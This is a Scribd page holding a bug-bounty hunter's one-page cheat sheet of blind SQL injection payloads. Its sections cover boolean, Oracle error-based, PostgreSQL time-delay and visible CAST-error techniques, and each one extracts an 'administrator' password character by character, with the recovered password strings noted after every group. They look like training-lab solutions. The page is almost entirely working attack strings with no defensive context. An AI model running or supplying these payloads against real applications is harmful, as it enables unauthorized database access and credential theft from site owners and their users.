Scribd Logo
Upload

Welcome to Scribd!

  • Blind Sqli

    Uploaded by

    bug-bounty hunter
    8 views1 page
    The document appears to contain SQL injection attack strings targeting a user database. The summaries are: 1) The strings are testing for SQL injection vulnerabilities by checking if strings return errors or return expected values like usernames and passwords. 2) Different techniques are used like time delays, returning substring values of passwords, and generating errors to check vulnerabilities and extract data. 3) The strings extracted a username of "administrator" and 3 different corresponding hashed passwords, suggesting successful exploitation of SQL injection vulnerabilities in the system.

    Original Description:

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    The document appears to contain SQL injection attack strings targeting a user database. The summaries are: 1) The strings are testing for SQL injection vulnerabilities by checking if strings return errors or return expected values like usernames and passwords. 2) Different techniques are used like time delays, returning substring values of passwords, and generating errors to check vulnerabilities and extract data. 3) The strings extracted a username of "administrator" and 3 different corresponding hashed passwords, suggesting successful exploitation of SQL injection vulnerabilities in the system.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    8 views1 page

    Blind Sqli

    Uploaded by

    bug-bounty hunter
    The document appears to contain SQL injection attack strings targeting a user database. The summaries are: 1) The strings are testing for SQL injection vulnerabilities by checking if strings return errors or return expected values like usernames and passwords. 2) Different techniques are used like time delays, returning substring values of passwords, and generating errors to check vulnerabilities and extract data. 3) The strings extracted a username of "administrator" and 3 different corresponding hashed passwords, suggesting successful exploitation of SQL injection vulnerabilities in the system.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    of 1

    BLIND

    ' AND '1'='1


    ' and (SELECT 'X' FROM users LIMIT 1)='X'--
    ' AND (SELECT username FROM Users WHERE username =
    'administrator')='administrator'--
    ' AND (SELECT username FROM Users WHERE username = 'administrator' and LENGTH
    (password)>1)='administrator'-- {20 char}
    ' AND (SELECT SUBSTRING(password,1,1) FROM Users WHERE username =
    'administrator')='a'-- {intruder burp suite}
    ' AND SUBSTRING((SELECT password FROM Users WHERE username = 'administrator'), 1,
    1)='a'--

    administrator = shd1qgnuarhcxrevs74u

    BLIND ERROR
    ''
    '||(SELECT'')||' atau '||(SELECT'' FROM DUAL)||'
    '||(SELECT'' FROM DUALU23EUHUIIUHE)||'
    '||(SELECT'' FROM users)||'
    '||(SELECT '' FROM users WHERE ROWNUM = 1)||'
    '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' || {an
    error is received when the condition is true}
    '||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
    '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE
    username='administrator')||'
    '||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users
    WHERE username='administrator')||' || {20 char}
    '||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM
    users WHERE username='administrator')||'

    administrator = 6acwxp06wb65niy3nul9

    time delay

    '||pg_sleep(10)--
    ';SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
    ';SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
    ';SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0)
    END FROM users--
    ';SELECT CASE WHEN LENGTH(password)>1 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM
    users WHERE username='administrator'--
    ';SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN pg_sleep(10) ELSE pg_sleep(0) END
    FROM users WHERE username='administrator'--

    administrator = ecdqlwsu92glzg1lxygh

    vissible error

    '--
    ' AND CAST((SELECT 1) AS int)--
    ' AND 1=CAST((SELECT 1) AS int)--
    ' AND 1=CAST((SELECT username FROM users) AS int)--
    without trac id ' AND 1=CAST((SELECT username FROM users) AS int)--
    ' and 1=cast((select username from users limit 1) as int)--
    ' and 1=cast((select password from users limit 1) as int)--
    administrator = l4yzj1gltbbahv1b4hnc

    You might also like